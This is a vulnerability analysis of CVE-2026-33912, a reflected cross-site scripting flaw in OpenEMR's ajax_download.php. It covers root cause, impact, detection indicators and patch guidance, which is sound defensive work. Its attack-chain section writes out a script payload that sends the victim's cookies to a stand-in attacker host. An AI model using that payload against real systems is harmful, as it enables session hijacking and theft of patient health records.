CVE-2026-33912: 
OpenEMR vulnerability analysis and mitigation

CVE-2026-33912 is a reflected cross-site scripting (XSS) vulnerability in OpenEMR, a free and open-source electronic health records and medical practice management application. The flaw exists in custom/ajax_download.php, where the POST parameter reportID is read, concatenated into a variable, and echoed to the browser without output encoding, allowing an authenticated attacker to craft a malicious form that executes arbitrary JavaScript in a victim's browser session. All OpenEMR versions up to and including 8.0.0.2 are affected; version 8.0.0.3 patches the issue. It carries a CVSS v3.1 base score of 5.4 (Medium) (GitHub Advisory, Feedly). The vulnerability was published on March 25, 2026.

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). In custom/ajax_download.php, the reportID POST parameter is read at line 29, concatenated into the $zipFile variable at line 90, and echoed without HTML encoding at line 118, allowing injection of arbitrary HTML/JavaScript (GitHub Advisory). The attack requires the attacker to be authenticated (low privileges) and to socially engineer a victim into submitting a crafted form — for example, by embedding a hidden form on an attacker-controlled page that auto-submits to the vulnerable endpoint. The fix replaced direct $_POST access with filter_input(INPUT_POST, 'reportID', FILTER_VALIDATE_INT) and added validation logic to reject non-integer or missing values (Patch Commit 1, Patch Commit 2).

Successful exploitation allows an attacker to execute arbitrary JavaScript within the browser session of a victim user in the context of the OpenEMR application. This can lead to session hijacking, theft of authentication cookies, unauthorized access to sensitive patient health records, or manipulation of medical data displayed to the victim. Because OpenEMR handles protected health information (PHI), exploitation could result in HIPAA-relevant data breaches and unauthorized modification of medical records (GitHub Advisory, Feedly).

No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at this time (Feedly). The EPSS score is approximately 0.03%, reflecting a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated attacker and victim interaction (form submission), which limits opportunistic mass exploitation but does not eliminate targeted attack risk in healthcare environments.

1. Authenticate to OpenEMR: The attacker obtains valid low-privilege credentials to the target OpenEMR instance (e.g., a staff or limited user account).
2. Identify the vulnerable endpoint: Locate custom/ajax_download.php, which accepts a POST parameter reportID that is reflected unsanitized in the HTTP response.
3. Craft a malicious form: Create an HTML page containing a hidden form that POSTs to the target's custom/ajax_download.php endpoint with a reportID value containing a JavaScript payload, e.g., reportID=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver the form to a victim: Trick a higher-privileged OpenEMR user (e.g., a physician or administrator) into visiting the attacker-controlled page, which auto-submits the form via JavaScript.
5. JavaScript executes in victim's session: The server reflects the unsanitized reportID value in the response, causing the victim's browser to execute the injected script within the OpenEMR application context.
6. Harvest session data or perform actions: The attacker collects session cookies, performs actions on behalf of the victim, or accesses/modifies patient records using the victim's privileges (GitHub Advisory).

• Network: Unexpected POST requests to custom/ajax_download.php containing HTML tags, script tags, or URL-encoded JavaScript in the reportID parameter; outbound HTTP requests from the victim's browser to unknown external domains shortly after accessing OpenEMR.
• Logs: Web server access logs showing POST requests to /custom/ajax_download.php with anomalous or non-integer reportID values (e.g., containing <script>, javascript:, or encoded equivalents); repeated requests from the same authenticated session to this endpoint with varying payloads.
• Browser/Session: Unexpected session termination or re-authentication prompts for users who recently submitted forms; reports from users of unusual redirects or pop-ups within the OpenEMR interface.

The primary remediation is to upgrade OpenEMR to version 8.0.0.3 or later, which patches this vulnerability by replacing unsanitized $_POST access with filter_input() and integer validation for the reportID parameter (OpenEMR Release). For systems that cannot be immediately patched, administrators should implement a Web Application Firewall (WAF) rule to block requests to custom/ajax_download.php containing HTML or script content in POST parameters, and enforce a strict Content Security Policy (CSP) header to limit the impact of injected scripts. Additionally, restricting access to the vulnerable endpoint to only necessary authenticated roles reduces the attack surface (Feedly).

The vulnerability was reported by security researcher MaydaySun and remediated by OpenEMR developer kojiromike, as credited in the official GitHub Security Advisory (GitHub Advisory). The fix was included in the OpenEMR 8.0.0.3 release alongside numerous other security fixes, indicating a coordinated security release cycle. No significant broader media coverage or notable social media commentary has been identified beyond the standard vulnerability database listings.